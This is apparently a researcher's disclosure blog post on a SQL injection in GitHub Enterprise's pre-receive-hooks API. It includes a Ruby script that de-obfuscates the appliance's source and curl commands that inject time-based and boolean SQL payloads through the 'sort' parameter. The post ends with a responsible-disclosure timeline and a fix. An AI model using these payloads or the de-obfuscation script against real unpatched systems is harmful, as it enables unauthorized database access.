GitHub Enterprise SQL Injection

preview

Before

GitHub Enterprise is the on-premises version of GitHub.com that you can deploy a whole GitHub service in your private network for businesses. You can get 45-days free trial and download the VM from enterprise.github.com.

After you deployed, you will see like bellow:

Now, I have all the GitHub environment in a VM. It’s interesting, so I decided to look deeper into VM :P

Environment

The beginning of everything is Port Scanning. After using our good friend - Nmap, we found that there are 6 exposed ports on VM.

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$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT     STATE  SERVICE
22/tcp   open   ssh
25/tcp   closed smtp
80/tcp   open   http
122/tcp  open   smakynet
443/tcp  open   https
8080/tcp closed http-proxy
8443/tcp open   https-alt
9418/tcp open   git

With a little knocking and service grabbing, it seems like:

  • 22/tcp and 9418/tcp seem like haproxy and it forwards connections to a backend service called babeld
  • 80/tcp and 443/tcp are the main GitHub services
  • 122/tcp is just a SSH service
  • 8443/tcp is management console of GitHub

By the way, GitHub management console need a password to login. Once you got the password, you can add your SSH key and connect into VM through 122/tcp

With SSH into VM, we examined the whole system and found that the service code base looks like under directory of /data/

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$ ls -al /data/
total 92
drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .
drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic
drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload
drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db
drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise
drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd
drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks
drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render
lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user

Change directory to /data/ and try to review the source code, but it seems encrypted :(

GitHub uses a custom library to obfuscate their source code. If you search ruby_concealer.so on Google, you will find a kind man write a snippet on this gist.

It simply replace rb_f_eval to rb_f_putsin ruby_concealer.so and it’s work.

But to be a hacker. We can’t just use it without knowing how it works. So, let’s open IDA Pro!

As you can see. It just uses Zlib::Inflate::inflate to decompress data and XOR with following key:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this ‘encryption’ is easily broken.

So we can easily implement it by our-self!

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require 'zlib'

def decrypt(s)
    key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
    i, plaintext = 0, ''

    Zlib::Inflate.inflate(s).each_byte do |c|
        plaintext << (c ^ key[i%key.length].ord).chr
        i += 1
    end
    plaintext
end

content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content

puts plaintext

Code Analysis

After de-obfuscated all the code. Finally, we can start our code reviewing process.

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$ cloc /data/
   81267 text files.
   47503 unique files.
   24550 files ignored.

http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language                         files          blank        comment           code
-----------------------------------------------------------------------------------
Ruby                             25854         359545         437125        1838503
Javascript                        4351         109994         105296         881416
YAML                               600           1349           3214         289039
Python                            1108          44862          64025         180400
XML                                121           6492           3223         125556
C                                  444          30903          23966         123938
Bourne Shell                       852          14490          16417          87477
HTML                               636          24760           2001          82526
C++                                184           8370           8890          79139
C/C++ Header                       428          11679          22773          72226
Java                               198           6665          14303          45187
CSS                                458           4641           3092          44813
Bourne Again Shell                 142           6196           9006          35106
m4                                  21           3259            369          29433
...
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$ ./bin/rake about
About your application's environment
Ruby version              2.1.7 (x86_64-linux)
RubyGems version          2.2.5
Rack version              1.6.4
Rails version             3.2.22.4
JavaScript Runtime        Node.js (V8)
Active Record version     3.2.22.4
Action Pack version       3.2.22.4
Action Mailer version     3.2.22.4
Active Support version    3.2.22.4
Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root          /data/github/9fcdcc8
Environment               production
Database adapter          githubmysql2
Database schema version   20161003225024

Most of the code are written in Ruby (Ruby on Rails and Sinatra).

  • /data/github/ looks like the application run under port 80/tcp 443/tcp and it looks like the real code base of github.com, gist.github.com and api.github.com
  • /data/render/ looks like real code base of render.githubusercontent.com
  • /data/enterprise-manage/ seems like the application run under port 8443/tcp

GitHub Enterprise uses enterprise? and dotcom? to check whether the application is running under Enterprise Mode or GitHub dot com mode.

Vulnerability

I use about one week to find this vulnerability, I am not familiar with Ruby. But just learning from doing :P

This is my rough schedule of the week.

  • Day 1 - Setting VM
  • Day 2 - Setting VM
  • Day 3 - Learning Rails by code reviewing
  • Day 4 - Learning Rails by code reviewing
  • Day 5 - Learning Rails by code reviewing
  • Day 6 - Yeah, I found a SQL Injection!

That SQL Injection vulnerability is found under GitHub Enterprise PreReceiveHookTarget model.

The root cause is in /data/github/current/app/model/pre_receive_hook_target.rb line 45

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33   scope :sorted_by, -> (order, direction = nil) {
34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35     select(<<-SQL)
36       #{table_name}.*,
37       CASE hookable_type
38         WHEN 'global'     THEN 0
39         WHEN 'User'       THEN 1
40         WHEN 'Repository' THEN 2
41       END AS priority
42     SQL
43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44       .readonly(false)
45       .order([order, direction].join(" "))
46   }

Although There is built-in ORM(called ActiveRecord in Rails) in Rails and prevent you from SQL Injection. But there are so many misuse of ActiveRecord may cause SQL Injection.

More examples you can check Rails-sqli.org. It’s good to learn about SQL Injection on Rails.

In this case, if we can control the parameter of method order we can inject our malicious payload into SQL.

OK, let’s trace up! sorted_by is called by /data/github/current/app/api/org_pre_receive_hooks.rb in line 61. 

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10   get "/organizations/:organization_id/pre-receive-hooks" do
11     control_access :list_org_pre_receive_hooks, :org => org = find_org!
12     @documentation_url << "#list-pre-receive-hooks"
13     targets = PreReceiveHookTarget.visible_for_hookable(org)
14     targets = sort(targets).paginate(pagination)
15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16     deliver :pre_receive_org_target_hash, targets
17   end
...
60   def sort(scope)
61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62   end

You can see that params[:sort] is passed to scope.sorted_by . So, we can inject our malicious payload into params[:sort].

Before you trigger this vulnerability, you need a valid access_token with admin:pre_receive_hook scope to access API. Fortunately, it can be obtained by following command:

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$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
  "id": 4,
  "url": "https://192.168.187.145/api/v3/authorizations/4",
  "app": {
    "name": "x",
    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
    "client_id": "00000000000000000000"
  },
  "token": "????????",
  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
  "token_last_eight": "1fadac36",
  "note": "x",
  "note_url": null,
  "created_at": "2017-01-05T22:17:32Z",
  "updated_at": "2017-01-05T22:17:32Z",
  "scopes": [
    "admin:pre_receive_hook"
  ],
  "fingerprint": null
}

Once you get a access_token, you can trigger the vulnerability by:

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$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
  "message": "Server Error",
  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
    ...
}

Timeline

  • 2016/12/26 05:48 Report vulnerability to GitHub via HackerOne
  • 2016/12/26 08:39 GitHub response that have validated issue and are working on a fix.
  • 2016/12/26 15:48 Provide more vulneraiblity detail.
  • 2016/12/28 02:44 GitHub response that the fix will included with next release of GitHub Enterprise.
  • 2017/01/04 06:41 GitHub response that offer $5,000 USD reward.
  • 2017/01/05 02:37 Asked Is there anything I should concern about if I want to post a blog?
  • 2017/01/05 03:06 GitHub is very open mind and response that it’s OK!
  • 2017/01/05 07:06 GitHub Enterprise 2.8.5 released!